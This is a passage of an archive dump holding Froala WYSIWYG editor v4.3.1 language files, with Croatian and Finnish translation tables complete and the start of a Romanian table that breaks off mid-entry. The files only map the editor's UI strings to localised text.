Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Croatian */ FE.LANGUAGE['hr'] = { translation: { // Place holder 'Type something': "Napi\u0161i ne\u0161to", // Basic formatting 'Bold': 'Podebljaj', 'Italic': 'Kurziv', 'Underline': 'Podcrtano', 'Strikethrough': 'Precrtano', // Main buttons 'Insert': 'Umetni', 'Delete': "Obri\u0161i", 'Cancel': "Otka\u017Ei", 'OK': 'U redu', 'Back': 'Natrag', 'Remove': 'Ukloni', 'More': "Vi\u0161e", 'Update': "A\u017Euriraj", 'Style': 'Stil', // Font 'Font Family': 'Odaberi font', 'Font Size': "Veli\u010Dina fonta", // Colors 'Colors': 'Boje', 'Background': 'Pozadina', 'Text': 'Tekst', 'HEX Color': 'Heksadecimalne boje', // Paragraphs 'Paragraph Format': 'Format odlomka', 'Normal': 'Normalno', 'Code': 'Izvorni kod', 'Heading 1': 'Naslov 1', 'Heading 2': 'Naslov 2', 'Heading 3': 'Naslov 3', 'Heading 4': 'Naslov 4', // Style 'Paragraph Style': 'Stil odlomka', 'Inline Style': 'Stil u liniji', // Alignment 'Align': 'Poravnaj', 'Align Left': 'Poravnaj lijevo', 'Align Center': 'Poravnaj po sredini', 'Align Right': 'Poravnaj desno', 'Align Justify': 'Obostrano poravnanje', 'None': 'Nijedan', // Lists 'Ordered List': "Ure\u0111ena lista", 'Unordered List': "Neure\u0111ena lista", // Indent 'Decrease Indent': 'Uvuci odlomak', 'Increase Indent': 'Izvuci odlomak', // Links 'Insert Link': 'Umetni link', 'Open in new tab': 'Otvori u novom prozoru', 'Open Link': 'Otvori link', 'Edit Link': 'Uredi link', 'Unlink': 'Ukloni link', 'Choose Link': 'Odaberi link', // Images 'Insert Image': 'Umetni sliku', 'Upload Image': 'Prijenos slike', 'By URL': 'Prema URL', 'Browse': 'Odabir', 'Drop image': 'Ispusti sliku', 'or click': 'ili odaberi', 'Manage Images': 'Upravljanje slikama', 'Loading': "U\u010Ditavanje", 'Deleting': 'Brisanje', 'Tags': 'Oznake', 'Are you sure? Image will be deleted.': "Da li ste sigurni da \u017Eelite obrisati ovu sliku?", 'Replace': 'Zamijeni', 'Uploading': 'Prijenos', 'Loading image': 'Otvaram sliku', 'Display': "Prika\u017Ei", 'Inline': 'U liniji', 'Break Text': 'Odvojeni tekst', 'Alternative Text': 'Alternativni tekst', 'Change Size': "Promjena veli\u010Dine", 'Width': "\u0160irina", 'Height': 'Visina', 'Something went wrong. Please try again.': "Ne\u0161to je po\u0161lo po zlu. Molimo poku\u0161ajte ponovno.", 'Image Caption': 'Opis slike', 'Advanced Edit': 'Napredno uređivanje', // Video 'Insert Video': 'Umetni video', 'Embedded Code': "Ugra\u0111eni kod", 'Paste in a video URL': 'Zalijepite u URL videozapisa', 'Drop video': 'Ispusti video', 'Your browser does not support HTML5 video.': 'Vaš preglednik ne podržava HTML video.', 'Upload Video': 'Prenesi videozapis', // Tables 'Insert Table': 'Umetni tablicu', 'Table Header': 'Zaglavlje tablice', 'Remove Table': "Izbri\u0161i tablicu", 'Table Style': 'Tablica stil', 'Horizontal Align': 'Horizontalna poravnanje', 'Row': 'Red', 'Insert row above': 'Umetni red iznad', 'Insert row below': 'Umetni red ispod', 'Delete row': "Obri\u0161i red", 'Column': 'Stupac', 'Insert column before': 'Umetni stupac prije', 'Insert column after': 'Umetni stupac poslije', 'Delete column': "Obri\u0161i stupac", 'Cell': 'Polje', 'Merge cells': 'Spoji polja', 'Horizontal split': 'Horizontalno razdvajanje polja', 'Vertical split': 'Vertikalno razdvajanje polja', 'Cell Background': 'Polje pozadine', 'Vertical Align': 'Vertikalno poravnanje', 'Top': 'Vrh', 'Middle': 'Sredina', 'Bottom': 'Dno', 'Align Top': 'Poravnaj na vrh', 'Align Middle': 'Poravnaj po sredini', 'Align Bottom': 'Poravnaj na dno', 'Cell Style': 'Stil polja', // Files 'Upload File': 'Prijenos datoteke', 'Drop file': 'Ispusti datoteku', // Emoticons 'Emoticons': 'Emotikoni', 'Grinning face': 'Nacereno lice', 'Grinning face with smiling eyes': "Nacereno lice s nasmije\u0161enim o\u010Dima", 'Face with tears of joy': 'Lice sa suzama radosnicama', 'Smiling face with open mouth': 'Nasmijano lice s otvorenim ustima', 'Smiling face with open mouth and smiling eyes': "Nasmijano lice s otvorenim ustima i nasmijanim o\u010Dima", 'Smiling face with open mouth and cold sweat': 'Nasmijano lice s otvorenim ustima i hladnim znojem', 'Smiling face with open mouth and tightly-closed eyes': "Nasmijano lice s otvorenim ustima i \u010Dvrsto zatvorenih o\u010Diju", 'Smiling face with halo': 'Nasmijano lice sa aureolom', 'Smiling face with horns': 'Nasmijano lice s rogovima', 'Winking face': 'Lice koje namiguje', 'Smiling face with smiling eyes': "Nasmijano lice s nasmije\u0161enim o\u010Dima", 'Face savoring delicious food': "Lice koje u\u017Eiva ukusnu hranu", 'Relieved face': "Lice s olak\u0161anjem", 'Smiling face with heart-shaped eyes': "Nasmijano lice sa o\u010Dima u obliku srca", 'Smiling face with sunglasses': "Nasmijano lice sa sun\u010Danim nao\u010Dalama", 'Smirking face': "Zlokobno nasmije\u0161eno lice", 'Neutral face': 'Neutralno lice', 'Expressionless face': "Bezizra\u017Eajno lice", 'Unamused face': 'Nezainteresirano lice', 'Face with cold sweat': 'Lice s hladnim znojem', 'Pensive face': "Zami\u0161ljeno lice", 'Confused face': 'Zbunjeno lice', 'Confounded face': 'Zbunjeno lice', 'Kissing face': 'Lice s poljupcem', 'Face throwing a kiss': 'Lice koje baca poljubac', 'Kissing face with smiling eyes': "Lice s poljupcem s nasmije\u0161enim o\u010Dima", 'Kissing face with closed eyes': "Lice s poljupcem zatvorenih o\u010Diju", 'Face with stuck out tongue': "Lice s ispru\u017Eenim jezikom", 'Face with stuck out tongue and winking eye': "Lice s ispru\u017Eenim jezikom koje namiguje", 'Face with stuck out tongue and tightly-closed eyes': "Lice s ispru\u017Eenim jezikom i \u010Dvrsto zatvorenih o\u010Diju", 'Disappointed face': "Razo\u010Darano lice", 'Worried face': 'Zabrinuto lice', 'Angry face': 'Ljutito lice', 'Pouting face': 'Nadureno lice', 'Crying face': 'Uplakano lice', 'Persevering face': 'Lice s negodovanjem', 'Face with look of triumph': 'Trijumfalno lice', 'Disappointed but relieved face': "Razo\u010Darano ali olak\u0161ano lice", 'Frowning face with open mouth': "Namrgo\u0111eno lice s otvorenim ustima", 'Anguished face': 'Tjeskobno lice', 'Fearful face': "Prestra\u0161eno lice", 'Weary face': 'Umorno lice', 'Sleepy face': 'Pospano lice', 'Tired face': 'Umorno lice', 'Grimacing face': 'Lice sa grimasama', 'Loudly crying face': "Glasno pla\u010Du\u0107e lice", 'Face with open mouth': 'Lice s otvorenim ustima', 'Hushed face': 'Tiho lice', 'Face with open mouth and cold sweat': 'Lice s otvorenim ustima i hladnim znojem', 'Face screaming in fear': "Lice koje vri\u0161ti u strahu", 'Astonished face': "Zaprepa\u0161teno lice", 'Flushed face': 'Zajapureno lice', 'Sleeping face': "Spava\u0107e lice", 'Dizzy face': 'Lice sa vrtoglavicom', 'Face without mouth': 'Lice bez usta', 'Face with medical mask': 'Lice s medicinskom maskom', // Line breaker 'Break': 'Odvojeno', // Math 'Subscript': 'Indeks', 'Superscript': 'Eksponent', // Full screen 'Fullscreen': 'Puni zaslon', // Horizontal line 'Insert Horizontal Line': 'Umetni liniju', // Clear formatting 'Clear Formatting': 'Ukloni oblikovanje', // Save 'Save': "U\u0161tedjeti", // Undo, redo 'Undo': 'Korak natrag', 'Redo': 'Korak naprijed', // Select all 'Select All': 'Odaberi sve', // Code view 'Code View': 'Pregled koda', // Quote 'Quote': 'Citat', 'Increase': "Pove\u0107aj", 'Decrease': 'Smanji', // Quick Insert 'Quick Insert': 'Brzo umetak', // Spcial Characters 'Special Characters': 'Posebni znakovi', 'Latin': 'Latinski', 'Greek': 'Grčki', 'Cyrillic': 'Ćirilica', 'Punctuation': 'Interpunkcija', 'Currency': 'Valuta', 'Arrows': 'Strelice', 'Math': 'Matematika', 'Misc': 'Razno', // Print. 'Print': 'Otisak', // Spell Checker. 'Spell Checker': 'Provjeritelj pravopisa', // Help 'Help': 'Pomoć', 'Shortcuts': 'Prečaci', 'Inline Editor': 'Inline editor', 'Show the editor': 'Prikaži urednika', 'Common actions': 'Zajedničke radnje', 'Copy': 'Kopirati', 'Cut': 'Rez', 'Paste': 'Zalijepiti', 'Basic Formatting': 'Osnovno oblikovanje', 'Increase quote level': 'Povećati razinu citata', 'Decrease quote level': 'Smanjite razinu citata', 'Image / Video': 'Slika / video', 'Resize larger': 'Promijenite veličinu većeg', 'Resize smaller': 'Promijenite veličinu manju', 'Table': 'Stol', 'Select table cell': 'Odaberite stolnu ćeliju', 'Extend selection one cell': 'Proširiti odabir jedne ćelije', 'Extend selection one row': 'Proširite odabir jednog retka', 'Navigation': 'Navigacija', 'Focus popup / toolbar': 'Fokus popup / alatnoj traci', 'Return focus to previous position': 'Vratiti fokus na prethodnu poziciju', // Embed.ly 'Embed URL': 'Uredi url', 'Paste in a URL to embed': 'Zalijepite URL da biste ga ugradili', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Zalijepi sadržaj dolazi iz Microsoft Word dokumenta. Želite li zadržati format ili očistiti?', 'Keep': 'Zadržati', 'Clean': 'Čist', 'Word Paste Detected': 'Otkrivena je zastavica riječi', // Character Counter 'Characters': 'likovi', // More Buttons 'More Text': 'Više teksta', 'More Paragraph': 'Više odlomka', 'More Rich': 'Više bogat', 'More Misc': 'Više Razno' }, direction: 'ltr' }; }))); //# sourceMappingURL=hr.js.map languages/fi.js 0000674 00000025446 00000000000 0007425 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Finnish */ FE.LANGUAGE['fi'] = { translation: { // Place holder 'Type something': 'Kirjoita jotain', // Basic formatting 'Bold': 'Lihavointi', 'Italic': 'Kursivointi', 'Underline': 'Alleviivaus', 'Strikethrough': 'Yliviivaus', // Main buttons 'Insert': "Lis\xE4\xE4", 'Delete': 'Poista', 'Cancel': 'Peruuta', 'OK': 'Ok', 'Back': 'Takaisin', 'Remove': 'Poista', 'More': "Lis\xE4\xE4", 'Update': "P\xE4ivitys", 'Style': 'Tyyli', // Font 'Font Family': 'Fontti', 'Font Size': 'Fonttikoko', // Colors 'Colors': "V\xE4rit", 'Background': 'Taustan', 'Text': 'Tekstin', 'HEX Color': 'Heksadesimaali', // Paragraphs 'Paragraph Format': 'Muotoilut', 'Normal': 'Normaali', 'Code': 'Koodi', 'Heading 1': 'Otsikko 1', 'Heading 2': 'Otsikko 2', 'Heading 3': 'Otsikko 3', 'Heading 4': 'Otsikko 4', // Style 'Paragraph Style': 'Kappaleen tyyli', 'Inline Style': 'Linjassa tyyli', // Alignment 'Align': 'Tasaa', 'Align Left': 'Tasaa vasemmalle', 'Align Center': "Keskit\xE4", 'Align Right': 'Tasaa oikealle', 'Align Justify': 'Tasaa', 'None': "Ei mit\xE4\xE4n", // Lists 'Ordered List': "J\xE4rjestetty lista", 'Unordered List': "J\xE4rjest\xE4m\xE4t\xF6n lista", // Indent 'Decrease Indent': "Sisenn\xE4", 'Increase Indent': 'Loitonna', // Links 'Insert Link': "Lis\xE4\xE4 linkki", 'Open in new tab': "Avaa uudessa v\xE4lilehdess\xE4", 'Open Link': 'Avaa linkki', 'Edit Link': 'Muokkaa linkki', 'Unlink': 'Poista linkki', 'Choose Link': 'Valitse linkki', // Images 'Insert Image': "Lis\xE4\xE4 kuva", 'Upload Image': 'Lataa kuva', 'By URL': 'Mukaan URL', 'Browse': 'Selailla', 'Drop image': 'Pudota kuva', 'or click': 'tai napsauta', 'Manage Images': 'Hallitse kuvia', 'Loading': 'Lastaus', 'Deleting': 'Poistaminen', 'Tags': 'Tagit', 'Are you sure? Image will be deleted.': 'Oletko varma? Kuva poistetaan.', 'Replace': 'Vaihda', 'Uploading': 'Lataaminen', 'Loading image': 'Lastaus kuva', 'Display': 'N\xE4ytt\xF6', 'Inline': 'Linjassa', 'Break Text': 'Rikkoa teksti', 'Alternative Text': 'Vaihtoehtoinen teksti', 'Change Size': 'Muuta kokoa', 'Width': 'Leveys', 'Height': 'Korkeus', 'Something went wrong. Please try again.': "Jotain meni pieleen. Yrit\xE4 uudelleen.", 'Image Caption': 'Kuva-otsikko', 'Advanced Edit': 'Edistynyt muokkaus', // Video 'Insert Video': "Lis\xE4\xE4 video", 'Embedded Code': 'Upotettu koodi', 'Paste in a video URL': 'Liitä video url', 'Drop video': 'Pudota video', 'Your browser does not support HTML5 video.': 'Selaimesi ei tue html5-videota.', 'Upload Video': 'Lataa video', // Tables 'Insert Table': "Lis\xE4\xE4 taulukko", 'Table Header': "Taulukko yl\xE4tunniste", 'Remove Table': 'Poista taulukko', 'Table Style': 'Taulukko tyyli', 'Horizontal Align': 'Vaakasuora tasaa', 'Row': 'Rivi', 'Insert row above': "Lis\xE4\xE4 rivi ennen", 'Insert row below': "Lis\xE4\xE4 rivi j\xE4lkeen", 'Delete row': 'Poista rivi', 'Column': 'Sarake', 'Insert column before': "Lis\xE4\xE4 sarake ennen", 'Insert column after': "Lis\xE4\xE4 sarake j\xE4lkeen", 'Delete column': 'Poista sarake', 'Cell': 'Solu', 'Merge cells': "Yhdist\xE4 solut", 'Horizontal split': 'Jaa vaakasuora', 'Vertical split': 'Jaa pystysuora', 'Cell Background': 'Solun tausta', 'Vertical Align': 'Pystysuora tasaa', 'Top': 'Alku', 'Middle': "Keskimm\xE4inen", 'Bottom': 'Pohja', 'Align Top': 'Tasaa alkuun', 'Align Middle': "Tasaa keskimm\xE4inen", 'Align Bottom': 'Tasaa pohja', 'Cell Style': 'Solun tyyli', // Files 'Upload File': 'Lataa tiedosto', 'Drop file': 'Pudota tiedosto', // Emoticons 'Emoticons': "Hymi\xF6it\xE4", 'Grinning face': 'Virnisteli kasvot', 'Grinning face with smiling eyes': "Virnisteli kasvot hymyilev\xE4t silm\xE4t", 'Face with tears of joy': "Kasvot ilon kyyneleit\xE4", 'Smiling face with open mouth': "Hymyilev\xE4 kasvot suu auki", 'Smiling face with open mouth and smiling eyes': "Hymyilev\xE4 kasvot suu auki ja hymyilee silm\xE4t", 'Smiling face with open mouth and cold sweat': "Hymyilev\xE4 kasvot suu auki ja kylm\xE4 hiki", 'Smiling face with open mouth and tightly-closed eyes': "Hymyilev\xE4 kasvot suu auki ja tiiviisti suljettu silm\xE4t", 'Smiling face with halo': "Hymyilev\xE4 kasvot Halo", 'Smiling face with horns': "Hymyilev\xE4 kasvot sarvet", 'Winking face': "Silm\xE4niskut kasvot", 'Smiling face with smiling eyes': "Hymyilev\xE4 kasvot hymyilev\xE4t silm\xE4t", 'Face savoring delicious food': 'Kasvot maistella herkullista ruokaa', 'Relieved face': 'Vapautettu kasvot', 'Smiling face with heart-shaped eyes': "Hymyilev\xE4t kasvot syd\xE4men muotoinen silm\xE4t", 'Smiling face with sunglasses': "Hymyilev\xE4 kasvot aurinkolasit", 'Smirking face': "Hym\xE4t\xE4\xE4 kasvot", 'Neutral face': 'Neutraali kasvot', 'Expressionless face': "Ilmeet\xF6n kasvot", 'Unamused face': 'Ei huvittanut kasvo', 'Face with cold sweat': "Kasvot kylm\xE4 hiki", 'Pensive face': "Mietteli\xE4s kasvot", 'Confused face': 'Sekava kasvot', 'Confounded face': 'Sekoitti kasvot', 'Kissing face': 'Suudella kasvot', 'Face throwing a kiss': "Kasvo heitt\xE4\xE4 suudelma", 'Kissing face with smiling eyes': "Suudella kasvot hymyilev\xE4t silm\xE4t", 'Kissing face with closed eyes': "Suudella kasvot silm\xE4t ummessa", 'Face with stuck out tongue': 'Kasvot ojensi kieli', 'Face with stuck out tongue and winking eye': "Kasvot on juuttunut pois kielen ja silm\xE4niskuja silm\xE4", 'Face with stuck out tongue and tightly-closed eyes': "Kasvot on juuttunut pois kielen ja tiiviisti suljettuna silm\xE4t", 'Disappointed face': 'Pettynyt kasvot', 'Worried face': 'Huolissaan kasvot', 'Angry face': 'Vihainen kasvot', 'Pouting face': 'Pouting kasvot', 'Crying face': 'Itku kasvot', 'Persevering face': "Pitk\xE4j\xE4nteinen kasvot", 'Face with look of triumph': 'Kasvot ilme Triumph', 'Disappointed but relieved face': 'Pettynyt mutta helpottunut kasvot', 'Frowning face with open mouth': 'Frowning kasvot suu auki', 'Anguished face': 'Tuskainen kasvot', 'Fearful face': 'Pelokkuus kasvot', 'Weary face': "V\xE4synyt kasvot", 'Sleepy face': 'Unelias kasvot', 'Tired face': "V\xE4synyt kasvot", 'Grimacing face': "Irvist\xE4en kasvot", 'Loudly crying face': "\xE4\xE4nekk\xE4\xE4sti itku kasvot", 'Face with open mouth': 'Kasvot suu auki', 'Hushed face': 'Hiljentynyt kasvot', 'Face with open mouth and cold sweat': "Kasvot suu auki ja kylm\xE4 hiki", 'Face screaming in fear': 'Kasvot huutaa pelosta', 'Astonished face': "H\xE4mm\xE4stynyt kasvot", 'Flushed face': 'Kasvojen punoitus', 'Sleeping face': 'Nukkuva kasvot', 'Dizzy face': 'Huimausta kasvot', 'Face without mouth': 'Kasvot ilman suuhun', 'Face with medical mask': "Kasvot l\xE4\xE4ketieteen naamio", // Line breaker 'Break': 'Rikkoa', // Math 'Subscript': 'Alaindeksi', 'Superscript': "Yl\xE4indeksi", // Full screen 'Fullscreen': "Koko n\xE4ytt\xF6", // Horizontal line 'Insert Horizontal Line': "Lis\xE4\xE4 vaakasuora viiva", // Clear formatting 'Clear Formatting': 'Poista muotoilu', // Save 'Save': 'Tallentaa', // Undo, redo 'Undo': 'Peru', 'Redo': 'Tee uudelleen', // Select all 'Select All': 'Valitse kaikki', // Code view 'Code View': "Koodi n\xE4kym\xE4", // Quote 'Quote': 'Lainaus', 'Increase': "Lis\xE4t\xE4", 'Decrease': "Pienenn\xE4", // Quick Insert 'Quick Insert': 'Nopea insertti', // Spcial Characters 'Special Characters': 'Erikoismerkkejä', 'Latin': 'Latina', 'Greek': 'Kreikkalainen', 'Cyrillic': 'Kyrillinen', 'Punctuation': 'Välimerkit', 'Currency': 'Valuutta', 'Arrows': 'Nuolet', 'Math': 'Matematiikka', 'Misc': 'Sekalaista', // Print. 'Print': 'Tulosta', // Spell Checker. 'Spell Checker': 'Oikeinkirjoittaja', // Help 'Help': 'Auta', 'Shortcuts': 'Pikakuvakkeet', 'Inline Editor': 'Inline-editori', 'Show the editor': 'Näytä editori', 'Common actions': 'Yhteisiä toimia', 'Copy': 'Kopio', 'Cut': 'Leikata', 'Paste': 'Tahna', 'Basic Formatting': 'Perusmuotoilu', 'Increase quote level': 'Lisää lainaustasoa', 'Decrease quote level': 'Laskea lainaustasoa', 'Image / Video': 'Kuva / video', 'Resize larger': 'Kokoa suurempi', 'Resize smaller': 'Pienempi koko', 'Table': 'Pöytä', 'Select table cell': 'Valitse taulukon solu', 'Extend selection one cell': 'Laajentaa valinta yhden solun', 'Extend selection one row': 'Laajenna valinta yksi rivi', 'Navigation': 'Suunnistus', 'Focus popup / toolbar': 'Painopistevalo / työkalurivi', 'Return focus to previous position': 'Palauta tarkennus edelliseen asentoon', // Embed.ly 'Embed URL': 'Upottaa URL-osoite', 'Paste in a URL to embed': 'Liitä upotettu URL-osoite', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Liitetty sisältö tulee Microsoft Word -asiakirjasta. Haluatko säilyttää muodon tai puhdistaa sen?', 'Keep': 'Pitää', 'Clean': 'Puhdas', 'Word Paste Detected': 'Sana-tahna havaittu', // Character Counter 'Characters': 'merkit', // More Buttons 'More Text': 'Lisää tekstiä', 'More Paragraph': 'Lisää kohta', 'More Rich': 'Lisää Rikas', 'More Misc': 'Lisää Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=fi.js.map languages/ro.js 0000674 00000030027 00000000000 0007436 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Romanian */ FE.LANGUAGE['ro'] = { translation: { // Place holder 'Type something': "Tasteaz\u0103 ceva", // Basic formatting 'Bold': "\xCEngro\u015Fat", 'Italic': 'Cursiv', 'Underline': 'Subliniat', 'Strikethrough': "T\u0103iat", // Main buttons 'Insert': "Insereaz\u0103", 'Delete': "\u015Eterge", 'Cancel': "Anuleaz\u0103", 'OK': 'Ok', 'Back': "\xCEnapoi", 'Remove': "\u0218terge", 'More': 'Mai mult', 'Update': "Actualizeaz\u0103", 'Style': 'Stil', // Font 'Font Family': 'Font', 'Font Size': 'Dimensiune font', // Colors 'Colors': 'Culoare', 'Background': 'Fundal', 'Text': 'Text', 'HEX Color': 'Culoare Hexa', // Paragraphs 'Paragraph Format': 'Format paragraf', 'Normal': 'Normal', 'Code': 'Cod', 'Heading 1': 'Antet 1', 'Heading 2': 'Antet 2', 'Heading 3': 'Antet 3', 'Heading 4': 'Antet 4', // Style 'Paragraph Style': 'Stil paragraf', 'Inline Style': "Stil \xEEn linie", // Alignment 'Align': 'Aliniere', 'Align Left': "Aliniere la st\xE2nga", 'Align Center': 'Aliniere la centru', 'Align Right': 'Aliniere la dreapta', 'Align Justify': "Aliniere pe toat\u0103 l\u0103\u021Bimea", 'None': 'Niciunul', // Lists 'Ordered List': "List\u0103 ordonat\u0103", 'Unordered List': "List\u0103 neordonat\u0103", // Indent 'Decrease Indent': "De-indenteaz\u0103", 'Increase Indent': "Indenteaz\u0103", // Links 'Insert Link': 'Inserare link', 'Open in new tab': "Deschide \xEEn tab nou", 'Open Link': 'Deschide link', 'Edit Link': 'Editare link', 'Unlink': "\u0218terge link-ul", 'Choose Link': 'Alege link', // Images 'Insert Image': 'Inserare imagine', 'Upload Image': "\xCEncarc\u0103 imagine", 'By URL': "Dup\u0103 URL", 'Browse': "R\u0103sfoie\u0219te", 'Drop image': 'Trage imagine', 'or click': "sau f\u0103 click", 'Manage Images': 'Gestionare imagini', 'Loading': "Se \xEEncarc\u0103", 'Deleting': "Se \u0219terge", 'Tags': 'Etichete', 'Are you sure? Image will be deleted.': "Sunte\u021Bi sigur? Imaginea va fi \u015Ftears\u0103.", 'Replace': "\xCEnlocuire", 'Uploading': "Imaginea se \xEEncarc\u0103", 'Loading image': "Imaginea se \xEEncarc\u0103", 'Display': "Afi\u0219are", 'Inline': "\xCEn linie", 'Break Text': 'Sparge text', 'Alternative Text': 'Text alternativ', 'Change Size': 'Modificare dimensiuni', 'Width': "L\u0103\u021Bime", 'Height': "\xCEn\u0103l\u021Bime", 'Something went wrong. Please try again.': "Ceva n-a mers bine. V\u0103 rug\u0103m s\u0103 \xEEncerca\u021Bi din nou.", 'Image Caption': 'Captura imaginii', 'Advanced Edit': 'Editare avansată', // Video 'Insert Video': 'Inserare video', 'Embedded Code': 'Cod embedded', 'Paste in a video URL': 'Lipiți o adresă URL pentru video', 'Drop video': 'Trage video', 'Your browser does not support HTML5 video.': 'Browserul dvs. nu acceptă videoclipul html5.', 'Upload Video': 'Încărcați videoclipul', // Tables 'Insert Table': 'Inserare tabel', 'Table Header': 'Antet tabel', 'Remove Table': "\u0218terge tabel", 'Table Style': 'Stil tabel', 'Horizontal Align': "Aliniere orizontal\u0103", 'Row': 'Linie', 'Insert row above': "Insereaz\u0103 linie \xEEnainte", 'Insert row below': "Insereaz\u0103 linie dup\u0103", 'Delete row': "\u015Eterge linia", 'Column': "Coloan\u0103", 'Insert column before': "Insereaz\u0103 coloan\u0103 \xEEnainte", 'Insert column after': "Insereaz\u0103 coloan\u0103 dup\u0103", 'Delete column': "\u015Eterge coloana", 'Cell': 'Celula', 'Merge cells': "Une\u015Fte celulele", 'Horizontal split': "\xCEmparte orizontal", 'Vertical split': "\xCEmparte vertical", 'Cell Background': "Fundal celul\u0103", 'Vertical Align': "Aliniere vertical\u0103", 'Top': 'Sus', 'Middle': 'Mijloc', 'Bottom': 'Jos', 'Align Top': 'Aliniere sus', 'Align Middle': 'Aliniere la mijloc', 'Align Bottom': 'Aliniere jos', 'Cell Style': "Stil celul\u0103", // Files 'Upload File': "\xCEnc\u0103rca\u021Bi fi\u0219ier", 'Drop file': "Trage fi\u0219ier", // Emoticons 'Emoticons': 'Emoticoane', 'Grinning face': "Fa\u021B\u0103 r\xE2njind", 'Grinning face with smiling eyes': "Fa\u021B\u0103 r\xE2njind cu ochi z\xE2mbitori", 'Face with tears of joy': "Fa\u021B\u0103 cu lacrimi de bucurie", 'Smiling face with open mouth': "Fa\u021B\u0103 z\xE2mbitoare cu gura deschis\u0103", 'Smiling face with open mouth and smiling eyes': "Fa\u021B\u0103 z\xE2mbitoare cu gura deschis\u0103 \u0219i ochi z\xE2mbitori", 'Smiling face with open mouth and cold sweat': "Fa\u021B\u0103 z\xE2mbitoare cu gura deschis\u0103 \u015Fi sudoare rece", 'Smiling face with open mouth and tightly-closed eyes': "Fa\u021B\u0103 z\xE2mbitoare cu gura deschis\u0103 \u015Fi ochii ferm \xEEnchi\u0219i", 'Smiling face with halo': "Fa\u021B\u0103 z\xE2mbitoare cu aur\u0103", 'Smiling face with horns': "Fa\u021B\u0103 z\xE2mbitoare cu coarne", 'Winking face': "Fa\u021B\u0103 clipind", 'Smiling face with smiling eyes': "Fa\u021B\u0103 z\xE2mbitoare cu ochi z\xE2mbitori", 'Face savoring delicious food': "Fa\u021B\u0103 savur\xE2nd preparate delicioase", 'Relieved face': "Fa\u021B\u0103 u\u0219urat\u0103", 'Smiling face with heart-shaped eyes': "Fa\u021B\u0103 z\xE2mbitoare cu ochi in forma de inim\u0103", 'Smiling face with sunglasses': "Fa\u021B\u0103 z\xE2mbitoare cu ochelari de soare", 'Smirking face': "Fa\u021B\u0103 cu sur\xE2s afectat", 'Neutral face': "Fa\u021B\u0103 neutr\u0103", 'Expressionless face': "Fa\u021B\u0103 f\u0103r\u0103 expresie", 'Unamused face': "Fa\u021B\u0103 neamuzat\u0103", 'Face with cold sweat': "Fa\u021B\u0103 cu sudoare rece", 'Pensive face': "Fa\u021B\u0103 medit\xE2nd", 'Confused face': "Fa\u021B\u0103 confuz\u0103", 'Confounded face': "Fa\u021B\u0103 z\u0103p\u0103cit\u0103", 'Kissing face': "Fa\u021B\u0103 s\u0103rut\xE2nd", 'Face throwing a kiss': "Fa\u021B\u0103 arunc\xE2nd un s\u0103rut", 'Kissing face with smiling eyes': "Fa\u021B\u0103 s\u0103rut\xE2nd cu ochi z\xE2mbitori", 'Kissing face with closed eyes': "Fa\u021B\u0103 s\u0103rut\xE2nd cu ochii \xEEnchi\u0219i", 'Face with stuck out tongue': "Fa\u021B\u0103 cu limba afar\u0103", 'Face with stuck out tongue and winking eye': "Fa\u021B\u0103 cu limba scoas\u0103 clipind", 'Face with stuck out tongue and tightly-closed eyes': "Fa\u021B\u0103 cu limba scoas\u0103 \u0219i ochii ferm \xEEnchi\u0219i", 'Disappointed face': "Fa\u021B\u0103 dezam\u0103git\u0103", 'Worried face': "Fa\u021B\u0103 \xEEngrijorat\u0103", 'Angry face': "Fa\u021B\u0103 nervoas\u0103", 'Pouting face': "Fa\u021B\u0103 fierb\xE2nd", 'Crying face': "Fa\u021B\u0103 pl\xE2ng\xE2nd", 'Persevering face': "Fa\u021B\u0103 perseverent\u0103", 'Face with look of triumph': "Fa\u021B\u0103 triumf\u0103toare", 'Disappointed but relieved face': "Fa\u021B\u0103 dezam\u0103git\u0103 dar u\u0219urat\u0103", 'Frowning face with open mouth': "Fa\u021B\u0103 \xEEncruntat\u0103 cu gura deschis\u0103", 'Anguished face': "Fa\u021B\u0103 \xEEndurerat\u0103", 'Fearful face': "Fa\u021B\u0103 tem\u0103toare", 'Weary face': "Fa\u021B\u0103 \xEEngrijorat\u0103", 'Sleepy face': "Fa\u021B\u0103 adormit\u0103", 'Tired face': "Fa\u021B\u0103 obosit\u0103", 'Grimacing face': "Fa\u021B\u0103 cu grimas\u0103", 'Loudly crying face': "Fa\u021B\u0103 pl\xE2ng\xE2nd zgomotos", 'Face with open mouth': "Fa\u021B\u0103 cu gura deschis\u0103", 'Hushed face': "Fa\u021B\u0103 discret\u0103", 'Face with open mouth and cold sweat': "Fa\u021B\u0103 cu gura deschis\u0103 si sudoare rece", 'Face screaming in fear': "Fa\u021B\u0103 \u021Bip\xE2nd de fric\u0103", 'Astonished face': "Fa\u021B\u0103 uimit\u0103", 'Flushed face': "Fa\u021B\u0103 sp\u0103lat\u0103", 'Sleeping face': "Fa\u021B\u0103 adormit\u0103", 'Dizzy face': "Fa\u021B\u0103 ame\u021Bit\u0103", 'Face without mouth': "Fa\u021B\u0103 f\u0103r\u0103 gur\u0103", 'Face with medical mask': "Fa\u021B\u0103 cu masc\u0103 medical\u0103", // Line breaker 'Break': 'Desparte', // Horizontal line 'Insert Horizontal Line': "Inserare linie 